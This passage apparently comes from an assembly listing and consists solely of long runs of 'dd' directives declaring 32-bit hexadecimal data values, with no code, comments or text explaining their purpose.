		dd 79F4DA8Eh, 9E5AEB71h, 8D9DE27Fh, 0F07EAE16h,	84601855h
		dd 0BE6F94EEh, 5279690Fh, 0A481654Ah, 4AFF4A20h, 0AACF524Fh
		dd 3DE1BD9Eh, 63C236DAh, 4E323B8Fh, 0FD0F3790h,	20618693h
		dd 0BA04F3DFh, 6C10A58Ch, 729563ABh, 29740607h,	0C847C8B5h
		dd 0AFA00A78h, 5A657308h, 4DF06CF2h, 4DF98143h,	0CFB21A59h
		dd 8D4AA7B7h, 4931B155h, 0F7CDEAB7h, 9EF0F89Fh,	75A31C5Eh
		dd 0A1E29B10h, 734C8D09h, 20D98F47h, 9B904A9Eh,	706CEC50h
		dd 9A4AE379h, 8A96FA79h, 0AF2F80D8h, 0A75E374Ah, 4C9B4457h
		dd 8A937656h, 28D83B02h, 42B8FC04h, 0CEC66ABFh,	72C1EA65h
		dd 9CEA81B6h, 0F420560Ah, 84881189h, 0BE005D15h, 169F3D44h
		dd 5E679369h, 1BD2651Fh
		dd 4DDB848Ah, 0B70533A5h, 593644C0h, 45A9AC7Dh,	0E416E43h
		dd 404326DFh, 98C9DDCAh, 0EF8165F1h, 291D4C65h,	45849D70h
		dd 0EA489BEh, 8DC6EB46h, 5F5D2A1Ah, 0FA8224B7h,	0B0BBAA70h
		dd 0E5F12344h, 0B834990Ah, 151D21A0h, 0A0104092h, 956D3D49h
		dd 28C0F3E6h, 4D53A72Bh, 0F02A7395h, 8E0919AAh,	0D06DBA59h
		dd 0C30CEE9Eh, 55A2D55Ah, 68BAAF0Ch, 0CD1DA489h, 3DAFE3C9h
		dd 14EB2D41h, 39A301A5h, 0E8CBE505h, 0AE007E4Eh, 9383E13Ch
		dd 12F81335h, 85F89055h, 6EDBD29Ah, 42B91A4Eh, 55AF0F97h
		dd 2210AF8Fh, 4E0F5971h, 22E2A125h, 2989CA0Bh, 0F97113C2h
		dd 0C0EEDA1Ch, 34077E80h, 3081B50Eh, 0F04FA223h, 0D60EC47h
		dd 0DA3E0E7Eh, 0B7C3000h, 0A9C86C31h, 835B7F79h, 0FBA9DC49h
		dd 0F313E704h, 277097EFh, 7A4ADB0Dh, 59C2C9F6h,	91E273A0h
		dd 623C4386h, 7D236A4Ah, 476AABD0h, 0DC0A107Dh,	26A3DDA0h
		dd 147DFC93h, 729D1B0h,	53A4BF09h, 2A1E6065h, 9D82A6E0h
		dd 4BC53479h, 75C918BCh, 530DD71Fh, 2E627CEBh, 0B447191Bh
		dd 0C91B4A64h, 7584FBA5h, 8E2559D9h, 0B061AB1Bh, 35EAB936h
		dd 566337EBh, 6AAD668Eh, 0B1A9CD77h, 3844BC9Ah,	5CDC9B05h
		dd 0AD6403CAh, 1E68BC99h, 0B1494704h, 0D5692AF7h, 80E61335h
		dd 6C60D63Fh, 18229D9Fh, 933D3551h, 0CA811D6Dh,	0AA383EABh
		dd 6F6E20F1h, 3CE9BABAh, 9B1DAE4Fh, 977923C5h, 9E72F12Fh
		dd 50C007FBh, 61B0C8E9h, 0A7638EEEh, 96CE8B0Ah,	0D847578Bh
		dd 24A72691h, 9A44B11Bh, 14C24B9Dh, 0D911E405h,	3C5889B6h
		dd 0A3E8E97Ah, 0EF0620BBh, 33E555E1h, 3A60CCE7h, 0A6619A57h
		dd 0E5057018h, 8F2C5A79h, 0FDA48AFEh, 0BD560131h, 339707D1h
		dd 976CEF76h, 59C8B3FBh, 0C6F19118h, 0C0710FB6h, 44F6D85Dh
		dd 6267903Bh, 0EC770CD5h, 9BBD0513h, 6D9B1576h,	0EA5A0E7h
		dd 11783625h, 8CD4B149h, 0C5BB5779h, 0FD40773Eh, 0A2C82724h
		dd 0D25BD791h, 59174144h, 1353CE5Bh, 55C40415h,	0A539353Dh
		dd 0F46D3BC5h, 0D00CC103h, 73A22E4Eh, 9F434D4Ch, 24F1510Dh
		dd 0AE44BA2Ah, 3BB5CEDEh, 96F71DFBh, 0A89F94E4h, 1DD95E6Dh
		dd 6F0099F3h, 6130BF5Ch, 3AEFC33Dh, 0F7BFC07Ch,	6327A0A5h
		dd 5416246Bh, 6CCBC597h, 211661FFh, 3F65DC6Bh, 0EB7459Bh
		dd 0EDEEE36h, 94211E32h, 0C4809954h, 2071ED12h,	0CC1E6B2Dh
		dd 0F2DE6873h, 0F6589A78h, 9CE7D55Bh, 0AE959A64h, 2E9A8B11h
		dd 548862E8h, 0F5E55235h, 48936EDh, 0CD900DD1h,	0D8D55F18h
		dd 81733453h, 0E6632EBEh, 5664ABDCh, 1CB5E3AFh,	27EC9A7Ch
		dd 2B0C20D6h, 94B85FF9h, 0DEECF557h, 5B1EE739h,	9D622F3Bh
		dd 6AA62848h, 0E0B0EC68h, 8FFA8942h, 5E0C6DF4h,	2FAB109Ah
		dd 0C2E47E96h, 7A92ADFEh, 0BCC602AEh, 0E3619822h, 18417DDh
		dd 8CA9398Eh, 0A69B6097h, 8CB42B4Bh, 5C81D9EEh,	8BC066h
		dd 99E2A223h, 753DB34Ah, 67F90C04h, 900F6905h, 0BEE4330Bh
		dd 3A0F11A8h, 5E45F489h, 1002CA34h, 55D65C4h, 0A619E7B7h
		dd 0F4B28E22h, 64B1B096h, 573DB739h, 6C84CDD7h,	0D278D0Ch
		dd 29B79D5Fh, 125FD7F3h, 5200C5D2h, 8D5E3A2Bh, 0FAE3BD36h
		dd 0A0CCAB5Fh, 0D13673BEh, 0BA1F9A46h, 249CF3D0h, 0B8B40D99h
		dd 2B80C510h, 964D7629h, 1CF11480h, 0DD793142h,	0C28B38FFh
		dd 0D10F72AEh, 8C775706h, 0A4E15C47h, 0EA9C27A7h, 0ABC4DA1Eh
		dd 2680C5BDh, 7BC39993h, 3C456BA6h, 8980D792h, 63BDF872h
		dd 0D593499Bh, 0A294AB6Ah, 1060736Fh, 64BD9BBAh, 84A91D33h
		dd 0C2BC4F61h, 0D4E8CDBCh, 0EBF74490h, 0D97A98E9h, 18A9547Fh
		dd 0A86882B9h, 4077C195h, 6FC2613h, 0EE4E7359h,	8AA19A20h
		dd 124BF89Fh, 0B7969E66h, 1CFD5A35h, 1712ED7Fh,	9F6C5A9Eh
		dd 8658C91Ah, 1ACAEE0h,	0BF74EA19h, 84E5AC82h, 3444033Ch
		dd 7BC910A0h, 104EB46Ah, 0BF93A9E8h, 0F88B5C0Dh, 0FB55D0CDh
		dd 0AF697C3Ch, 0A134A00Bh, 81773E5Dh, 739C2B42h, 0EDFF5A21h
		dd 0BF4EC291h, 9BAF7FDFh, 7B059E92h, 86A1752h, 7E289E54h
		dd 34674801h, 0BA435CACh, 3C4B327Eh, 7621CA39h,	0A416078Dh
		dd 4474578Ch, 5EE270A1h, 37824804h, 41BBB8BAh, 0A591F877h
		dd 0D14310D9h, 764FA957h, 0D0D5F42Bh, 4DA89887h, 3DE87AD0h
		dd 10A71F90h, 0F5FD76Ah, 23955665h, 0A2FA2D12h,	0C97F270Dh
		dd 836EF43Eh, 0A74E2B6Fh, 0FC5EC2BEh, 3A505D76h, 108808A8h
		dd 4843E299h, 70816552h, 0F5E1A054h, 46A6AE71h,	8757E94Dh
		dd 555961B0h, 1A8F7ECCh, 0D83A73F5h, 6C109AEFh,	829C538Dh
		dd 96460544h, 4B4CA852h, 2CCCE4CAh, 0F9B8953Dh,	1E3D8594h
		dd 0DDBBD113h, 115439B7h, 4F15A1F9h, 6679CC63h,	2C5C867Eh
		dd 3A29D788h, 0C1131FC5h, 237EF40Ch, 579EE55h, 70CA7ED3h
		dd 52D5636Ah, 0B48B7531h, 7A1E4D67h, 89924D2Ch,	0C41EC58Bh
		dd 0D9CF0278h, 9E4C9E16h, 64EB76F2h, 3C6210C4h,	0E9884375h
		dd 434582D0h, 6D3B631Bh, 89EE20DDh, 1B78DD2Bh, 0C2EC481Ch
		dd 311B742Ah, 2E4F0AAEh, 274DBC04h, 2FED95ADh, 4A937A80h
		dd 66866Bh, 61BD12EBh, 0D887D2F8h, 79B803C6h, 2393F19Eh
		dd 0B7B3F990h, 0D03CC3A1h, 0FC9DF205h, 5D0FD923h, 0C78FE04Dh
		dd 1C0CD1F7h, 0B89F263Ah, 0DE7BC325h, 3F9FF798h, 635A89BAh
		dd 5FADD0C7h, 0E0AFD48Dh, 0BE18DBEEh, 0FB7D4ED6h, 0FB626C39h
		dd 0FAD51D2Fh, 7353C0Bh, 6DEB4F19h, 85B09305h, 2445664Ah
		dd 0DB2A5Ah, 52D346D0h,	26C88183h, 0E07F590Ah, 3558C1B3h
		dd 92AFCEABh, 5D820F66h, 0B4C198AFh, 8EAA5ED9h,	39631797h
		dd 272EAB0h, 2C037CF0h,	3AEC92ACh, 46B213A6h, 0D6DF256Dh
		dd 0B97C8334h, 4E74C7h,	34753D1Ah, 0E8DABD14h, 0EF3E94A2h
		dd 37D627A1h, 315D4EEEh, 0F1FD906Eh, 57797E02h,	0EA829665h
		dd 66C1B780h, 7FEEA015h, 10EF04EEh, 0F05894CBh,	0C1E93E6Dh
		dd 0D9CBCCB8h, 75D8746h, 3BA26F28h, 9C22E1FDh, 507AFDD7h
		dd 0F03A73C2h, 0D97CFD16h, 40495B27h, 0EF084EE9h, 35BE3E9Eh
		dd 6BA055CDh, 60E9571Ah, 73908725h, 84E173DCh, 40B8F5ACh
		dd 86DD8A9Eh, 0AD04069Dh, 67F6CF8Dh, 5D5C69Bh, 0A4DDE8B2h
		dd 0A4968C83h, 0AA379655h, 9D7171E5h, 6BC04D73h, 91A8FD2Eh
		dd 0EC661BA8h, 4DDA9171h, 63CB4C74h, 7CCB2C62h,	21669B0h
		dd 0C5A33DCFh, 10757B47h, 3A26797Fh, 0DE5C6F68h, 460DCB6Dh
		dd 0C8BAE397h, 0C8F4D3A0h, 430661D0h, 5530F0ECh, 3618232Dh
		dd 5F42FEE3h, 0E523DEEDh, 7BB014Ch, 0F897E1A4h,	0C1C58FD9h
		dd 7CD67E41h, 3DF9AB24h, 0BAD94305h, 2D6D260Ch,	1C90AA9Dh
		dd 3685FC04h, 13A55C39h, 0E98EA9ECh, 0CBCF192Ah, 0CB2BF6C5h
		dd 40391BDEh, 40DF1730h, 0B07D8095h, 0B5B00E40h, 0AF5FA21Ah
		dd 0BA95D99Fh, 0D6B742AEh, 0AFB41540h, 26C767DAh, 5D1221Ch
		dd 67A51FC2h, 571B600Eh, 0E5A69844h, 45CA2932h,	0B64AAE68h
		dd 0D1C7B854h, 1E66C493h, 715C9125h, 5E04180Dh,	9B5714F1h
		dd 7C6ACC51h, 0CC7074A3h, 6978FC02h, 10FC5A77h,	0A12A0088h
		dd 0B54D52D5h, 877008BDh, 100E95Eh, 926D3081h, 0ACCDA0D6h
		dd 0FBB4DE30h, 2CB2F909h, 79899E9Ah, 0D5A1315Ch, 314E356Dh
		dd 4378D637h, 0B415805Bh, 3C71A174h, 0E20669FDh, 0CEB982E1h
		dd 961089D1h, 4A231E15h, 46595B9Ch, 0BCDF5457h,	6D2DA269h
		dd 65925DC8h, 3983EF5Ch, 6DAA07D0h, 8EF2DD33h, 0FA8AF33Eh
		dd 14FEEC1Fh, 38494ACEh
		dd 0D583969Fh, 1838047Fh, 0A3BC8E14h, 0BA9C4266h, 0AADD65A6h
		dd 296B67ABh, 61C6B28Dh, 0B3B43641h, 2873D460h,	7BA2E23Ch
		dd 7BF5927Bh, 53D0D06Bh, 7C865E58h, 0F91B62E4h,	8B3805AAh
		dd 0B559D9EDh, 6E63FF31h, 0F7D0E3F3h, 4B2DEC1Ch, 71025729h
		dd 35FB557h, 0BF2DCAB6h, 617945CFh, 0CEBAC94Bh,	18D774FAh
		dd 0EDCE8FE0h, 0AC499911h, 0C412140Fh, 717A8683h, 45747B14h
		dd 460BD128h, 0CEB33634h, 5B4AFD62h, 0C84A581Bh, 3DFBAD59h
		dd 575AA772h, 0C1A49510h, 303400E1h, 40510572h,	0A27BEE1Ch
		dd 8982C4D4h, 0E10F14C2h, 0FCE2A907h, 6C393A4Fh, 0E1297F94h
		dd 3474D11Ah, 393ADDF7h, 2825B8E3h, 4EBC770Bh, 4273D228h
		dd 0F7ACFFBFh, 0F1F3A93Fh, 74E312ABh, 5E735B23h, 0F3DF66CEh
		dd 0DD961B78h, 0DCE19455h, 9BFA5821h, 0DE8070Ah, 0AF57DD28h
		dd 9441DD0Ch, 50A2ED3Bh, 0C802EB2Dh, 0A1E308Ch,	0BDCA488Dh
		dd 82A23AB4h, 0D3BC64E1h, 8B84A911h, 0ECA6A406h, 0ABB92EDAh
		dd 0E65EB281h, 0C7950985h, 0F9151CEh, 150C2B00h, 0BDB3734Dh
		dd 0BC8E1C70h, 754ADA25h, 1C61EE25h, 206F8EFDh,	9FA784E4h
		dd 151B4D7Ch, 9A4555D4h, 0CFDF6633h, 239F7E94h,	6F7E3BA7h
		dd 0D094BCACh, 1C7A994Ch, 47D083FBh, 0DA20FB20h, 1AF2277Ah
		dd 96B0E6CFh, 0DB8A083h, 39B7AB5Ah, 0B62EDCC5h,	8171CFAAh
		dd 0DE56354h, 4C117051h, 0EAB66D52h, 0A6F92FC8h, 9C4B4105h
		dd 0EEADE7E2h, 75E7B28Ah, 286BDAA2h, 7CAAA9D1h,	3F47323Ah
		dd 9977FF70h, 8E0A0440h, 68825D6h, 68DC30E1h, 0E4B843E3h
		dd 3396AA6h, 0DA82DDC5h, 0F507761Dh, 78F4E1E8h,	5C8071F9h
		dd 263A4363h, 5ED31CE3h, 0AE28AF40h, 6BE4498Fh,	497BA49Fh
		dd 892D3B56h, 2146525Bh, 1023E090h, 0F7955898h,	7E082606h
		dd 6E71B53Dh, 0B4380749h, 0F5E759D1h, 82A1E04Dh, 66F51EDFh
		dd 0D21BD48Ah, 32D876BEh, 5F38A439h, 2EC2E7F3h,	0FFC226B3h
		dd 0DEB40C14h, 7223864Ch, 0AD0F9477h, 34C2252Ah, 8F3A993Dh
		dd 12BC91A4h, 0BB0EFF16h, 5EA2B48Dh, 0C926FCE2h, 8623F069h
		dd 0EF0828B7h, 4781AF43h, 0FC6D2BFAh, 0C36C6351h, 7E987C54h
		dd 0E8A07908h, 0AEFE182Bh, 81A2D06h, 0A7684F8Ah, 3240054Fh
		dd 7816EF9Fh, 7C079CCDh, 867C2FBBh, 0DB03B4EAh,	0BD694612h
		dd 8936C9F8h, 55B14B96h, 37C3EEB6h, 0BE87463Eh,	0D509E2D0h
		dd 984F621Dh, 0FA4D112Fh, 0E6575511h, 0F335ECD0h, 0C08FDE5Fh
		dd 30DDD59Ah, 0D8764F04h, 3C46CB2Eh, 0F9F201Eh,	49063ED5h
		dd 1A59658Eh, 44063788h, 0E25946BDh, 0B2561E58h, 62CA43E1h
		dd 0FEEAF423h, 716D4BF0h, 0E94A5F6Ch, 0D063DA83h, 0E3777AA0h
		dd 33E50C89h, 0E77664DBh, 8A0BC679h, 0B43CA030h, 0B29BEB2Bh
		dd 49BA7D06h, 26C13E37h, 380AB449h, 5803D21Eh, 8FFCEF38h
		dd 0BF4F8A4Eh, 5A47A96Eh, 0C88DF2B7h, 26DBF014h, 1F5BAC13h
		dd 0FEB49555h, 5E59FA36h, 0A4890848h, 0F2D93178h, 2A125745h
		dd 59AA8ED3h, 0CD2A5894h, 0BC6FCF5Bh, 5A69EFCCh, 670A996Bh
		dd 0CA21F1C4h, 66DF836Dh, 773849D5h, 30722257h,	8397635Eh
		dd 0AFA51157h, 4AF4248Fh, 0C4A379BEh, 15255104h, 0D001AB0Fh
		dd 0E6AA715Dh, 9DED17C7h, 3FD19C69h, 5B80566h, 6A56E373h
		dd 0FF126E23h, 8FEDC2BCh, 3E4E35C6h, 466F6140h,	834254A0h
		dd 403672E7h, 80AFFF05h, 98F7B5A8h, 2CCB0DD1h, 0C299361Eh
		dd 46CEA209h, 0AF928621h, 3714CEC7h, 80140654h,	2ABE6909h
		dd 930349BDh, 0F68B19B2h, 2823C8A5h, 0E3171BA7h, 0A3904728h
		dd 1747CD7Ch, 0C7A00073h, 6FE4093Fh, 83AC3AB8h,	960E37A5h
		dd 9B1A5256h, 4D157C35h, 5051724Ch, 2FC395C3h, 0BB5EE64Dh
		dd 8C98176h, 0F7C1084Eh, 0B89F89E3h, 7248F6D9h,	9FCECEDAh
		dd 0D5146BCEh, 0E193D76Ah, 0CD501FBh, 68BB2615h, 1C61A54h
		dd 0EEE68774h, 0A2F94416h, 20A87BA2h, 0AEF4F702h, 6DF9BA9Eh
		dd 0DD75A5ABh, 203922B4h, 71502101h, 0ADC1F248h, 0EF7462B8h
		dd 9E130AC1h, 0D5C75BD9h, 71E68484h, 0DF88D936h, 649F6CE9h
		dd 655205DAh, 0F04E0112h, 5CBC7415h, 0ABC3182Ch, 84DB274Dh
		dd 62168F59h, 1E8616CEh, 14196036h, 0B909CFD8h,	4C109EEh
		dd 2DC9B0A8h, 0F8DDCB8Dh, 738997D9h, 0EF2DF307h, 27C08877h
		dd 0C35A6973h, 0ED4AB44Eh, 9210E13h, 0EE171C80h, 79330A8Ch
		dd 0D04DD5E2h, 20B5CFA7h, 0B70957C3h, 240A51D1h, 6FB1E0BEh
		dd 2C87BB4h, 0C35E42E3h, 0FF4FCC9h, 0D0E40ACh, 0F3C74C6Eh
		dd 0AD6CAE84h, 375F9DCh, 163A9367h, 8D3F5BE1h, 6801C36Eh
		dd 8E82CC55h, 0CFED2E2Dh, 0FDEEA72Ah, 0F99AFA4Fh, 9C760448h
		dd 0C1E4004h, 76FB7450h, 0E9061F1Bh, 0C5742DBAh, 0D7F04214h
		dd 0E966BB9h, 0D853D648h, 0FC8D2918h, 3220E554h, 15A2BDCEh
		dd 1875136Eh, 0B09761F2h, 858D35ADh, 804B815Ch,	255C41A4h
		dd 0DB835428h, 0D20C8B8Eh, 11C19A6Dh, 1DB54F8Fh, 510A86E4h
		dd 7D262D8h, 0B47EC49Eh, 60BA1014h, 73E2EDE4h, 81B02076h
		dd 97CD771h, 575AF76Bh,	0B1E5A170h, 0EE0586B7h,	8244F552h
		dd 0E2EE8CEAh, 947C26F4h, 0A3012F41h, 0F99F8EBFh, 97E4A55Bh
		dd 95AFD124h, 58F1DF87h, 0BE55D67Fh, 34A07CDDh,	1A27E636h
		dd 0AB16D1B7h, 9CB81982h, 2E8BB842h, 0A52F2AD2h, 0D9105D6Fh
		dd 2CBC8C64h, 8453A99Ah, 30BE2434h, 0CF98AF9h, 78F5C4E6h
		dd 0E97F9E04h, 0D98196B3h, 0E35AC1CEh, 873D21C2h, 0C3511580h
		dd 554F6ECDh, 0EA957F60h, 9EF1BFC1h, 0C1CD37F6h, 0ADFD43CEh
		dd 0D7F60F55h, 0CE5B0B8Ch, 612D355Ah, 421A56CFh, 0ADF8DB65h
		dd 0E997ED2Ch, 728B9788h, 0E4E5632Fh, 4001173Ah, 0B782636Eh
		dd 641790E2h, 1BA0778Eh, 9545DC0Dh, 0CA2685B3h,	547AD288h
		dd 0CE08D20Dh, 0BDA4A8C7h, 5653A172h, 9140E165h, 4763C460h
		dd 0C97CF281h, 52B8C4F0h, 0B6EF12BEh, 0DC261E91h, 0C6AEC204h
		dd 5308D7E5h, 0B4FEB6C0h, 0F0620C7h, 7D4EE19Bh,	0B8654478h
		dd 0E458CC5Dh, 812A59A3h, 0EBF01845h, 0CC6A74CCh, 2DEABF1Ah
		dd 89D6FEC9h, 3CA190C4h, 0BC7A7E7Dh, 85007767h,	81453627h
		dd 8D56511h, 808127C3h,	0A47AF404h, 86F9FABDh, 62FC2F76h
		dd 4992645Ch, 0B7A37528h, 352BA3F0h, 0CD674B64h, 39FE638Ch
		dd 74325579h, 9667B331h, 0BDE742C3h, 0F99C7D77h, 0D61E60CCh
		dd 0C2E7AACCh, 1A05C375h, 60C71B0Fh, 28BEF01Eh,	419FE370h
		dd 63A8EA72h, 8A16E437h, 934A090Fh, 4C69415Dh, 428446CEh
		dd 0D4F1C1D5h, 0C6557995h, 43866C7Dh, 50616475h, 0BB32B72Eh
		dd 4A4D1C54h, 5CF291F8h, 68876C99h, 0BCB2CD2Bh,	440B3A1Dh
		dd 34EBA30Dh, 5938F024h, 6406BB01h, 0CC8C5CC0h,	0BD5371CEh
		dd 0B7D568CFh, 0D41AAD1h, 8871B17Fh, 0B2704593h, 0BD7F43CCh
		dd 556D2705h, 396191F1h, 60D32858h, 521B6C2Eh, 0B1032286h
		dd 5DF8F3DAh, 20BD163Dh, 0E51B2257h, 0FE757063h, 0FAD5258Eh
		dd 76766383h, 0BEFCCF96h, 895A2C3h, 1B373E30h, 5F1A3B84h
		dd 189C9327h, 38406564h, 18794946h, 660BEFB1h, 0C95BE204h
		dd 0DCCD316Ch, 0BCB6EB59h, 0D812D4FEh, 527A3A0Dh, 36C1B040h
		dd 0ECB389FEh, 152135C0h, 7E298C9Dh, 0A890AD8Ah, 0D6FC5C14h
		dd 0DC2A0F99h, 0E74AB2C2h, 0CB700BEh, 0EF3A4D9Dh, 0D5D075C6h
		dd 1E4407A3h, 8117389h,	4DBB17h, 135A86B7h, 20072650h
		dd 0C8EBD3CBh, 32A37182h, 0F79ED952h, 895D7404h, 0FC81C8B4h
		dd 0AF23D778h, 5048DAEh
		dd 5938C8B0h, 1434ED61h, 0B670817Ch, 0A5D8A3B9h, 83A43236h
		dd 26DF1742h, 0E8169E77h, 4623F0A1h, 9643D5C3h,	0FE46F729h
		dd 59756F59h, 0B2F9F0EAh, 25F9A353h, 0DB72AB2Ah, 0DB25C92Ah
		dd 0D325D9FDh, 1112C5F8h, 4AD2D747h, 7D3F4E7Bh,	3032AE5Dh
		dd 0C670D042h, 0B709FC45h, 557A98CDh, 7057E78Eh, 6425CEFFh
		dd 0C2695742h, 25647BADh, 857CE684h, 56F93B19h,	8A191589h
		dd 537B0B7Ch, 78FA45C8h, 223A7AD8h, 0FC8A75F2h,	58E58646h
		dd 0F29963B2h, 3E763E45h, 0C2FA466Eh, 0D8422C45h, 3294D600h
		dd 75909F88h, 2911EF90h, 5C1496DEh, 32AA1CEh, 6AE280B4h
		dd 0F939D01Eh, 0F543AD9Ah, 9D7D822Ch, 0A4E83D42h, 0E293B74Eh
		dd 0ACB190BBh, 0C8637C0Dh, 2CBD67DFh, 0F9614E82h, 235700EFh
		dd 0B6BFF99h, 38133C7h,	3F7A845Eh, 8C0029BBh, 0F31E130Dh
		dd 61601F94h, 3847646Bh, 6AB3B1DCh, 0DB3CC6CFh,	187F6A47h
		dd 1DEB633Eh, 634BE470h, 1146C178h, 62A0CE77h, 0F5C35282h
		dd 683CE9C7h, 7A8B2EE9h, 0FD725B6Eh, 6A3B3406h,	0E7C8EC3Ch
		dd 6EB7B27h, 0DDFC5937h, 4D223EC3h, 6FF92017h, 0EE9E98D8h
		dd 0EF067FA9h, 0E5BF3628h, 4C3136F2h, 0A8761149h, 467719A7h
		dd 5805E4F1h, 3D33CBB9h, 823D0200h, 3BE685DFh, 29D82E38h
		dd 3B458DD0h, 5BD0B777h, 44853C0Dh, 0A8E55C06h,	0F303126h
		dd 4260B3CFh, 789CF08Dh, 224B2F03h, 0F20B8240h,	53DFF1A8h
		dd 8249A0Bh, 77E265D4h,	516E6541h, 5FA3CC35h, 3C75E36h
		dd 26500A7Bh, 14004807h, 2B13C110h, 0F393B4E2h,	0AE2AA9EFh
		dd 3A179A3Ch, 0F02AC8B1h, 34CEE60h, 695FB4FEh, 0D290CE89h
		dd 0A2041F9Fh, 0C85D01D0h, 362EFF49h, 0CFE364CDh, 4F1CBC23h
		dd 7F2D2D9Fh, 7A7C55BFh, 13F83EC7h, 0FDA0168Bh,	0ECD20DB7h
		dd 1DA915C5h, 2A43C5Ch,	0F5D5E776h, 0EB46B179h,	51E86C05h
		dd 5E95D1F2h, 31F3B131h, 91FE3CB5h, 0E6686E20h,	7377CEAFh
		dd 4AD5AF37h, 0A07CFCFDh, 748074E8h, 0B5531846h, 8031FD8Eh
		dd 66D68D38h, 739C8140h, 95DA5FB1h, 2C55E015h, 74BB698Ch
		dd 665568C1h, 0F1778F81h, 2FB63725h, 33063123h,	0BE3F4B33h
		dd 0EEAD480Ch, 0ED99FBF4h, 0C9CF75B4h, 0A38CE0Dh, 65502890h
		dd 3DC280C7h, 83A26F05h, 6F668FAAh, 0DF50C704h,	0BA716806h
		dd 9F23FF26h, 45D435A8h, 2AC06E26h, 0D3D39E48h,	0A1B5251Eh
		dd 0D21C3923h, 7FA457F1h, 41F746A5h, 0E6031D46h, 9F13BB88h
		dd 36846FF8h, 0C8FA6AB7h, 29EAAD63h, 0B2628318h, 0C1AA62AEh
		dd 95F839A8h, 0A3B20AD5h, 9FB30EE9h, 0F0E0A5Fh,	6B892785h
		dd 960DBD65h, 0BFDBC774h, 2C411F6Ah, 0DFAB998Bh, 82863F3Ch
		dd 3771911Ah, 5534C4AEh, 0CA5E452Bh, 0AF1F0B96h, 6670A880h
		dd 1AECB312h, 94DB99B0h, 0B774F771h, 0D5F8BB94h, 264CF3A9h
		dd 86F2F4D4h, 704A2102h, 89F1191Fh, 0E8DB4502h,	95BE20E5h
		dd 0E07DA4DCh, 1B07B6B9h, 9CCF77B3h, 0C5E27572h, 75BFDD59h
		dd 0B86AEFECh, 322186FAh, 378157F8h, 1B9DFD9Fh,	0C7F1FB19h
		dd 2C448653h, 0DB3938DFh, 0E810563Eh, 0BC913259h, 7287757h
		dd 88424D48h, 53E3197Fh, 68D286FFh, 75FF2289h, 0CBC1E50Ch
		dd 7C583A00h, 7635ACEEh, 0FCABABEDh, 1E01D55Dh,	0D0740501h
		dd 62CDAA66h, 8F64A01h,	0A9830DF4h, 5FAC0319h, 8C3416EDh
		dd 0EE4C7B06h, 35546881h, 0BB88F322h, 3158C832h, 0BBD0178Ah
		dd 8518216h, 0B1B3DFB5h, 0E879EF7Dh, 0EAC8EC92h, 0D2AABBDAh
		dd 0ECB39935h, 7D298B8h, 0BF351C21h, 634E51F3h,	0BD86200Bh
		dd 36626CACh, 0EE76EFF7h, 62D91AFh, 89A44BE5h, 5B8191C5h
		dd 70342A59h, 0F1DD9CEEh, 0BCFAF0D5h, 0E34B453Bh, 6A471248h
		dd 0AFE8DAA0h, 0C814FEABh, 8E41799Eh, 0FFCC0F45h, 1FA37527h
		dd 1BD15665h, 9DD305Bh,	7D4FD105h, 47E9F9C3h, 0CAAAC4F4h
		dd 0B2C0DE0Dh, 0DBC022Dh, 1A404C8Fh, 8A9B76FDh,	9A1C347Ch
		dd 0A61F25C5h, 0F0C7DE7Ch, 8CE822E5h, 7D83ED2Dh, 2DB1F23Fh
		dd 83A419A6h, 8B60FEA8h, 0D5E59C81h, 0C45AEB4h,	0BB6F2E3Eh
		dd 0C0C403E7h, 539A6A80h, 8CADF791h, 9BDAD88Eh,	4D2517BEh
		dd 365B577Ah, 9CA1F600h, 0BF712F4Ch, 0AE770AD3h, 5DDABC5h
		dd 5FADD059h, 5DB849D9h, 0B9A8BC95h, 5911993Ch,	0D4A5129Ah
		dd 430E4941h, 0C034081Ah, 63514687h, 0F7077477h, 0EA6C7E40h
		dd 3A22872Dh, 0C37A5421h, 0AC7C0B7Fh, 0B764C625h, 9D3372C6h
		dd 0C33E7E7Bh, 9B2A064h, 9BAC3EEBh, 91FBC2F5h, 0ABD13401h
		dd 0FF283B1Bh, 5B48065Ah, 1BC4D1A8h, 32CF2656h,	2E50FC39h
		dd 364E92D9h, 0E2D72A58h, 2650047Fh, 1389A516h,	6F053D75h
		dd 23025ED3h, 5269F11h,	4E89A2E3h, 0E8920042h, 441B3AE9h
		dd 8B4F4947h, 2278B21Bh, 376C1DD8h, 84340754h, 1BE2CA8Eh
		dd 0F968CC21h, 77F21D24h, 36CF46DDh, 0A2FCE63Dh, 39ED1051h
		dd 0ACF9A181h, 8F3336EBh, 0D9495ACAh, 89D51702h, 0EED9F40Fh
		dd 0D3095E2Ah, 0E5A9B1E8h, 88E8A00h, 7807168Eh,	4BC366Fh
		dd 9D0A4B5Ch, 0EBDD95FEh, 4FA5D0E9h, 2E3EED79h,	158BF0FBh
		dd 0E8573ABEh, 0FF55127Bh, 0D0354DC3h, 89D77E85h, 34B4525Ch
		dd 83A726CFh, 0C3794489h, 0FF1BCCD3h, 0B65FD3CFh, 1D2864EEh
		dd 516BBE68h, 57F39B57h, 0E4764895h, 0F901DD4Bh, 0D719A72Fh
		dd 6FDA9493h, 0A0B16D6h, 0C0AFE818h, 0F0429EBAh, 44A8EEAFh
		dd 304A90BEh, 55297A3Eh, 0BC4AD918h, 0D38B7DFCh, 0ADD991F2h
		dd 9712B6A7h, 0FE85647Dh, 48D1CBBFh, 85EFA8B5h,	610B855Eh
		dd 0D738B236h, 0BBF4ED65h, 9AAFB04Fh, 3790890Fh, 18617F1Eh
		dd 21491433h, 0E9257189h, 0E1A28873h, 17A0D4DCh, 1E9D9157h
		dd 97562C99h, 5AB197DDh, 22E4DE43h, 66458EA0h, 0D526BA81h
		dd 5F019A9Dh, 948868FFh, 7AE0332Bh, 0BB547559h,	0B22064C5h
		dd 0C322B85Dh, 5C400F4Fh, 59AE279Ah, 91DD2D7Eh,	0B5C034FAh
		dd 0A6FB3C46h, 92AD43AAh, 610A50E5h, 0CB8F28B5h, 5B2EC05Fh
		dd 0FF3A58FFh, 8FA49575h, 45511912h, 4460D548h,	0D89C2969h
		dd 0C93B3433h, 2AF6FE49h, 0B3CF451Eh, 0CB604579h, 88BA0355h
		dd 3A4A1A92h, 0E92D6BA9h, 0FBD1F8E3h, 8F4C8466h, 448CAAF9h
		dd 0DA19CB11h, 0B6E065A1h, 3B4A1973h, 19216D81h, 0B4066331h
		dd 3AEB6216h, 0A626FB3Ch, 686B28DEh, 0B606A296h, 18F0ED54h
		dd 0A2C0EAB0h, 69C40942h, 9AD11ADDh, 955687FBh,	960EF6E2h
		dd 0D3B4705Bh, 0C7E68109h, 39DEA47Dh, 0A3D445E0h, 74174997h
